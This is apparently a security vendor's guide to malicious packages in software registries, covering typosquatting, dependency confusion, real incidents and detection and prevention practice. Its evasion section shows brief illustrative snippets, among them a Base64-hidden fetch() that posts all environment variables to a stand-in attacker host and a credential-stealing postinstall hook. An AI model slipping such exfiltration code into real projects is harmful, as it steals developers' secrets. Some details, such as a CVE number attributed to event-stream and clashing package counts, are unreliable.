Secrets

Malicious Packages: Detection Prevention and Real Attack Examples

Supply chain attacks typosquatting and automated threat detection

What Are Malicious Packages

Malicious packages are dependencies published to package registries (npm, PyPI, Maven Central, Go modules) with intentional backdoors, credential stealers, cryptominers, or data exfiltration code. Unlike vulnerabilities—which are unintentional security flaws—malicious packages are deliberate attacks targeting the software supply chain.

These packages exploit the trust relationship between developers and package registries. When you run npm install express, you trust that the package named "express" is the legitimate framework. Attackers publish packages with similar names (expres, expresss), wait for typos, and execute malicious code during installation via post-install scripts.

The attack surface is massive. npm hosts over 2.5 million packages, PyPI has 500,000+, and Maven Central contains 600,000+. A single typo in package.json can install an attacker-controlled package that steals environment variables, SSH keys, or AWS credentials before your application even runs.

Types of Malicious Packages

1. Typosquatting

Attackers register package names that are one character different from popular libraries, exploiting common typos:

  • crossenv instead of cross-env (captured credentials from 700+ downloads)
  • loadsh instead of lodash
  • expres instead of express
  • requets instead of requests (Python)

The malicious package executes immediately during npm install via post-install hooks, often before developers notice the typo.

2. Dependency Confusion

Organizations use private package registries for internal code. Attackers publish packages on public registries (npm, PyPI) with the same names as internal private packages but higher version numbers. Package managers may prefer the public (malicious) version, installing attacker code into corporate environments.

In 2021, security researcher Alex Birsan demonstrated this attack by uploading packages named after internal dependencies used by Apple, Microsoft, and Netflix. His benign proof-of-concept packages were installed over 35,000 times, showing the scale of exposure.

3. Account Takeover

Attackers compromise legitimate maintainer accounts through credential stuffing, phishing, or social engineering, then push malicious updates to trusted packages. Because the package name and publisher appear legitimate, automated dependency updates install the malicious version.

The event-stream incident (2018) followed this pattern: an attacker convinced the original maintainer to grant publish access, then added the backdoored dependency flatmap-stream that targeted Bitcoin wallets.

4. Dependency Hijacking

When a package maintainer abandons a project, attackers register the package name if it expires or claim ownership by registering the npm username if the maintainer deletes their account. Legacy projects still depending on the package now install attacker-controlled code.

5. Trojan Functionality

Packages that appear functional but include hidden malicious code alongside legitimate features. A URL parsing library might work correctly for URL parsing while also exfiltrating environment variables in the background.

Real-World Malicious Package Attacks

event-stream (npm, November 2018)

The event-stream package had 2 million weekly downloads when its maintainer, overwhelmed by maintenance burden, handed control to a new contributor. The new maintainer added a dependency on flatmap-stream version 0.1.1, which contained obfuscated code targeting the Copay Bitcoin wallet application.

The malicious code ran only in specific conditions: when the Copay wallet application was running, it exfiltrated wallet private keys to an attacker-controlled server. The attack remained undetected for two months, during which 2.5 million downloads occurred.

Impact: Estimated $13 million stolen from Bitcoin wallets. Trust in npm ecosystem questioned.

Detection Gap: npm audit does not detect intentionally malicious packages, only known CVEs.

ua-parser-js (npm, October 2021)

Three versions of ua-parser-js (0.7.29, 0.8.0, 1.0.0) were hijacked and published with malicious code that installed cryptominers and password-stealing malware. The package had 8 million weekly downloads and was a dependency of major projects including React, Angular, and Webpack.

The attack used post-install scripts to download and execute binaries from attacker infrastructure. Windows users received jsextension.exe (cryptominer), while Linux/Mac users received shell scripts for password exfiltration.

Impact: 7 million weekly downloads exposed to malware installation. Automated dependency updates installed malicious versions across thousands of projects.

Response Time: Malicious versions were published on October 22, 2021, and removed within hours after detection, but automated CI/CD pipelines had already installed them in production systems.

ctx and phpass (PyPI, May 2022)

Attackers uploaded malicious versions of ctx and phpass to PyPI that stole AWS credentials from environment variables and exfiltrated them to Heroku-hosted servers. The packages had minimal downloads initially but targeted organizations using these specific dependencies.

The attack used setup.py install hooks to execute Python code that scanned for AWS_ACCESS_KEY_ID and AWS_SECRET_ACCESS_KEY in environment variables, then uploaded them to attacker-controlled endpoints.

Impact: Unknown number of AWS accounts compromised. Highlighted that PyPI has weaker vetting than npm.

crossenv (npm, July 2017)

A typosquat of cross-env (a popular environment variable setter with 10 million weekly downloads). The malicious crossenv package collected environment variables and uploaded them to attacker servers during installation.

The attack exploited the common developer mistake of typing npm install crossenv instead of npm install cross-env. Environment variables often contain API keys, database passwords, and AWS credentials.

Impact: Over 700 downloads before removal. Credential theft from development environments.

eslint-scope (npm, July 2018)

The maintainer account for eslint-scope was compromised, and version 3.7.2 was published with code that stole npm authentication tokens from ~/.npmrc files. These tokens allow publishing packages under the victim's name, enabling further supply chain attacks.

Impact: Token theft enabled follow-on attacks. ESLint is used by millions of JavaScript developers, making the impact surface enormous.

How Malicious Packages Evade Detection

1. Delayed Execution

Malicious code does not run immediately. Instead, it checks for specific conditions (environment variables, hostnames, dates) before activating. The event-stream attack only triggered in the Copay Bitcoin wallet application, remaining dormant in other contexts.

// Only execute if specific environment variable exists
if (process.env.BITCOIN_WALLET_SEED) {
  exfiltrateToServer(process.env.BITCOIN_WALLET_SEED);
}

2. Obfuscation

Attackers use code obfuscation, encryption, and Base64 encoding to hide malicious intent from automated scanners and human review:

// Obfuscated credential exfiltration
const payload = Buffer.from("aHR0cHM6Ly9hdHRhY2tlci5jb20=", "base64").toString();
fetch(payload, {method: "POST", body: JSON.stringify(process.env)});

Static analysis tools struggle to detect encrypted or Base64-encoded URLs and logic.

3. Transitive Dependencies

Malicious code is hidden in transitive dependencies (dependencies of dependencies) that developers never directly review. The event-stream attack used this pattern: the malicious code was in flatmap-stream, which was added as a dependency of the widely-trusted event-stream.

Developers audit direct dependencies but rarely review the 500+ transitive dependencies in a typical Node.js project.

4. Post-Install Scripts

npm and other package managers execute post-install scripts automatically, giving packages full system access during installation. Malicious packages use this to download additional payloads, modify files, or steal credentials before the application runs:

// package.json
{
  "scripts": {
    "postinstall": "node scripts/steal-credentials.js"
  }
}

Developers expect post-install scripts for legitimate build tasks (compilation, binary downloads), making malicious usage difficult to detect.

5. Mimicking Legitimate Behavior

Malicious packages provide functional features identical to legitimate libraries, making them appear benign during testing. A URL parser works correctly for URL parsing while also exfiltrating data in the background.

Detection Methods and Limitations

Traditional Security Tools Miss Malicious Packages

npm audit, pip-audit, and similar tools scan for known vulnerabilities (CVEs) in the National Vulnerability Database. They do not detect intentionally malicious packages because malicious packages are not vulnerabilities—they are malware.

A malicious package that steals credentials has no CVE. It works exactly as the attacker intended. Vulnerability scanners report "no issues found" while malware executes in the background.

Detection Approaches

1. Malicious Package Databases

Curated lists of known malicious packages (OSV.dev, VulnDB, Socket.dev database). These databases track packages identified through incident response, security research, and honeypots. CodeSlick integrates with OSV.dev and maintains a list of 66 confirmed malicious packages.

Limitation: Only catches known malicious packages. Zero-day malicious packages are not detected until they are reported and added to databases.

2. Typosquatting Detection

Compare installed package names against a list of popular packages, flagging names with edit distance of 1-2 characters:

  • expres (1 character different from express)
  • loadsh (1 character different from lodash)
  • reqeusts (transposed characters from requests)

Limitation: Cannot detect malicious packages with entirely different names. Does not catch account takeovers of legitimate packages.

3. Behavioral Analysis

Analyze package behavior during installation: Does it access the filesystem outside its directory? Does it make network requests? Does it spawn shell processes?

Limitation: Many legitimate packages perform these actions (downloading binaries, compiling native modules). High false-positive rate without context.

4. Maintainer Reputation and Anomaly Detection

Track maintainer history, publication patterns, and account age. Flag packages published by new maintainers, recently transferred ownership, or published immediately after account creation.

Limitation: Does not detect patient attackers who build reputation over months before attacking.

Why Automated Detection Is Hard

Malicious packages are designed to evade automated detection:

  • Legitimate behavior mimicry: Malicious code uses the same APIs as legitimate code (filesystem, network, environment variables)
  • Obfuscation: Code is encrypted, Base64-encoded, or dynamically evaluated, preventing static analysis
  • Context-dependent activation: Malware activates only in specific conditions, appearing benign during testing
  • Transitive dependencies: Hidden in dependencies of dependencies, never directly reviewed

How CodeSlick Detects Malicious Packages

CodeSlick combines multiple detection layers to identify malicious packages before they execute in your environment.

1. Known Malicious Package Database (66 Packages)

CodeSlick maintains a curated database of 66 confirmed malicious packages identified through incident response, security research, and threat intelligence. These packages are known to contain backdoors, credential stealers, or cryptominers.

When CodeSlick scans your dependencies, it cross-references every package name and version against this database. Matches are flagged as CRITICAL severity with immediate remediation guidance (remove package, check for credential compromise).

The database includes:

  • event-stream@3.3.6 (Bitcoin wallet stealer)
  • flatmap-stream@0.1.1 (dependency of event-stream)
  • ua-parser-js@0.7.29, 0.8.0, 1.0.0 (cryptominer + password stealer)
  • crossenv (typosquat of cross-env, credential exfiltration)
  • ctx@2.0.0+ (AWS credential stealer)
  • 61 additional confirmed malicious packages across npm, PyPI, and Maven

2. OSV.dev Integration

OSV.dev (Open Source Vulnerabilities) is Google's database of security issues in open-source software, including malicious packages. CodeSlick queries OSV.dev in real-time to detect newly reported malicious packages that have not yet been added to CodeSlick's internal database.

OSV.dev aggregates data from multiple sources:

  • GitHub Security Advisories
  • Python Packaging Authority (PyPA) advisories
  • RustSec Advisory Database
  • npm security team reports
  • Community submissions

This integration provides coverage for zero-day malicious packages within hours of public disclosure.

3. Typosquatting Detection

CodeSlick compares installed package names against a list of the top 1,000 most-downloaded packages in each ecosystem (npm, PyPI, Maven, Go). Packages with Levenshtein edit distance of 1-2 characters are flagged as potential typosquats:

  • expres vs express (1 character deletion)
  • loadsh vs lodash (1 character substitution)
  • reqeusts vs requests (2 character transposition)

Typosquat alerts include the likely intended package and guidance on verifying the installation.

4. Dependency Integrity Verification

CodeSlick verifies package integrity by checking cryptographic hashes in lockfiles (package-lock.json, poetry.lock, go.sum) against registry checksums. Hash mismatches indicate package tampering, dependency confusion attacks, or compromised registries.

Detection Workflow

# CodeSlick scans package.json and package-lock.json
codeslick analyze --check-malicious

# Output:
CRITICAL: Malicious package detected
  Package: event-stream@3.3.6
  Threat: Bitcoin wallet credential stealer (CVE-2018-3728)
  Action: Remove immediately, audit git history for compromised credentials
  More info: https://codeslick.dev/learn/malicious-packages

HIGH: Potential typosquat detected
  Package: expres@1.0.0
  Similar to: express (10M weekly downloads)
  Action: Verify this is the intended package

INFO: Checking 287 packages against OSV.dev database...
  No additional threats detected

Coverage by Ecosystem

  • npm (JavaScript/TypeScript): 66 known malicious packages + OSV.dev integration + typosquat detection for top 1,000 packages
  • PyPI (Python): 17 known malicious packages + OSV.dev integration + typosquat detection
  • Maven (Java): 8 known malicious packages + OSV.dev integration
  • Go modules: 5 known malicious packages + OSV.dev integration

Detect 66 known malicious packages and typosquatting attacks automatically with OSV.dev integration.

Prevention Best Practices

1. Use Exact Versions in Production

Lock dependencies to exact versions in production environments. Avoid version ranges (^1.2.3, ~1.2.3) that allow automatic updates to potentially malicious versions.

// package.json - Development (ranges acceptable)
{
  "dependencies": {
    "express": "^4.18.0"
  }
}

// package.json - Production (exact versions)
{
  "dependencies": {
    "express": "4.18.2"
  }
}

Commit lockfiles (package-lock.json, poetry.lock, Gemfile.lock) to version control to ensure reproducible builds.

2. Audit New Dependencies Before Installation

Before adding a new dependency:

  • Check download statistics: Low download counts are a red flag
  • Review maintainer history: New or recently transferred ownership is suspicious
  • Inspect source code: Look for obfuscated code, Base64 strings, or unusual network requests
  • Check last publish date: Recently published packages lack community vetting

Use npm view <package> maintainers, npm view <package> time, and npm view <package> repository to gather intelligence.

3. Enable Dependency Review in CI/CD

Run malicious package detection on every pull request that modifies package.json, requirements.txt, or pom.xml:

# GitHub Actions
- name: Dependency Review
  run: |
    codeslick analyze --check-malicious --fail-on critical

# Fails build if malicious packages detected

4. Monitor SBOM for Dependency Changes

Generate SBOM on every build and compare against the previous build to detect unauthorized dependency additions:

codeslick analyze --format sbom --output sbom-current.json
codeslick sbom diff sbom-previous.json sbom-current.json

# Alert on:
# - New dependencies (especially transitive)
# - Version downgrades (sign of dependency confusion)
# - Maintainer changes

5. Disable Post-Install Scripts in CI/CD

Prevent automatic execution of post-install scripts in CI/CD environments where malicious code can cause the most damage:

# npm - disable scripts
npm install --ignore-scripts

# pip - verify packages before install
pip install --require-hashes -r requirements.txt

Use allowlists for legitimate packages that require post-install scripts (native module compilation).

6. Use Private Registries for Internal Packages

Host internal packages on private registries (Artifactory, Nexus, GitHub Packages) with access controls. Configure package managers to prefer private registries over public ones to prevent dependency confusion:

// .npmrc
@mycompany:registry=https://npm.mycompany.com
registry=https://registry.npmjs.org

7. Enable Two-Factor Authentication for Package Publishing

If you maintain packages, enable 2FA on npm, PyPI, and Maven accounts to prevent account takeover. Require 2FA for all maintainers with publish access.

Frequently Asked Questions

Related Guides

Malicious Packages: Detection Prevention and Real Attack Examples | CodeSlick Security Scanner